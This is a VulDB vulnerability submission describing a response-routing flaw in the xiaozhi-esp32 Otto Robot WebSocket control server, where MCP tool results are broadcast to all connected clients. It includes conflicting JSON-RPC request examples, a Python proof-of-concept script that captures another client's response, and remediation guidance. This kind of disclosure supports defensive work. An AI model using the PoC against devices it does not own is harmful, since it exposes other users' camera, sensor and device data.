| 标题 | 78 xiaozhi-esp32 36200942cca3f7cbac6c927ce7458bad874297ab Information Exposure / Improper Routing |
|---|
| 描述 | ## Vulnerability Title
Tool Result Confusion via Hash-Key Confusion in MCP JSON-RPC Response Routing
## Affected Component
`main/mcp_server.cc` and `main/boards/otto-robot/websocket_control_server.cc`
Repository: https://github.com/78/xiaozhi-esp32 (Otto Robot board variant)
## Summary
An attacker with access to the Otto Robot local WebSocket control server can create MCP JSON-RPC requests that reuse another client's request `id`, causing application-level key confusion because the response key includes only `id` and excludes the source connection. This leads to cross-client MCP tool result exposure and response confusion, negatively impacting users connected to `ws://<device-ip>:8080/ws`.
## Technical Details
The vulnerability occurs because the MCP server uses the JSON-RPC `id` as the effective response correlation key, then sends responses through a board-level broadcast path. The key does not include the source WebSocket connection, so two requests from different clients can be treated as equivalent for response routing.
**Where the Key is Computed**
The application-level correlation key is the JSON-RPC numeric `id` (`main/mcp_server.cc`):
```cpp
auto id = cJSON_GetObjectItem(json, "id");
auto id_int = id->valueint;
```
For asynchronous tool calls, only the `id` is captured for the eventual response.
**Vulnerable Response Routing**
The local Otto Robot WebSocket server receives the request with connection context, but dispatches only the JSON payload into the singleton MCP server, discarding the source connection identity (`fd`).
MCP responses are sent through `Application::SendMcpMessage`, which invokes the board-level MCP broadcast callback. The Otto Robot board registers the callback to broadcast every MCP response to the local WebSocket control server:
```cpp
// main/boards/otto-robot/otto_robot.cc
Application::GetInstance().RegisterMcpBroadcastCallback([this](const std::string& payload) {
if (ws_control_server_) {
ws_control_server_->BroadcastMessage(payload);
```
`BroadcastMessage` then sends each response to all connected local clients.
**How the Attacker Constructs a Conflicting Object**
Victim request:
```json
{
"connection_id": "fd:10",
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "self.camera.take_photo",
"arguments": {}
},
"id": 41
}
```
Attacker request:
```json
{
"connection_id": "fd:11",
"jsonrpc": "2.0",
"method": "tools/list",
"id": 41
}
```
Both requests have the same application key (`id=41`), but originate from different clients. The vulnerable path discards `connection_id` before response routing and broadcasts responses to all connected clients.
## Impact
This vulnerability allows attackers to:
- Receive MCP tool results produced by another local WebSocket client connected to the Otto Robot control server.
- Confuse JSON-RPC pending request handling in clients that correlate responses only by `id`.
- Observe sensitive device outputs if another client invokes tools that return device state, camera output, sensor readings, or diagnostic information.
## Proof of Concept
The PoC demonstrates that two security-distinct requests can share the same application-level response key, and that the vulnerable sink broadcasts the response to a client that did not initiate the request.
```python
#!/usr/bin/env python3
"""Minimal hardware PoC for MCP response key confusion."""
import asyncio
import json
import os
import websockets
URI = os.environ["DEVICE_WS"]
async def main():
victim = await websockets.connect(URI)
attacker = await websockets.connect(URI)
victim_request = {
"jsonrpc": "2.0",
"method": "tools/list",
"id": 41,
}
await victim.send(json.dumps(victim_request))
leaked = await asyncio.wait_for(attacker.recv(), timeout=5)
print("attacker received:\n", leaked)
decoded = json.loads(leaked)
assert decoded["jsonrpc"] == "2.0"
assert decoded["id"] == 41
print("Security invariant broken: another client received the victim response.")
await victim.close()
await attacker.close()
asyncio.run(main())
```
## Remediation
Carry connection identity through the MCP request and response path. Responses for requests received on `WebSocketControlServer` should be sent only to the originating socket fd, not broadcast to every connected local WebSocket client.
Example direction:
```cpp
// Bind request identity to source connection and reply only to that fd.
struct McpRequestContext {
int connection_fd;
int jsonrpc_id;
};
// key = (connection_fd, jsonrpc_id)
```
Additional mitigations:
1. Complete Field Coverage: Include all fields relevant to response routing, especially source connection and client/session identity.
2. Domain Separation: Separate request/response namespaces across WebSocket clients, cloud sessions, and users.
3. Read-Time Revalidation: Before returning tool results, re-check that the response is being sent to the client that initiated the request.
## References
- Vulnerable JSON-RPC `id` extraction: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/mcp_server.cc#L377-L382`
- Async tool response captures only `id`: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/mcp_server.cc#L550-L559`
- Local WebSocket dispatch drops source connection: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/boards/otto-robot/websocket_control_server.cc#L154-L165`
- MCP response broadcast callback registration: `https://github.com/78/xiaozhi-esp32/blob/36200942cca3f7cbac6c927ce7458bad874297ab/main/boards/otto-robot/otto_robot.cc#L228-L240` |
|---|
| 来源 | ⚠️ https://github.com/78/xiaozhi-esp32/issues/2020 |
|---|
| 用户 | dem0000 (UID 98390) |
|---|
| 提交 | 2026-05-27 04時24分 (1 月前) |
|---|
| 管理 | 2026-06-27 17時50分 (1 month later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 374486 [78 xiaozhi-esp32 直到 2.2.6 MCP Response main/mcp_server.cc ParseMessage] |
|---|
| 积分 | 20 |
|---|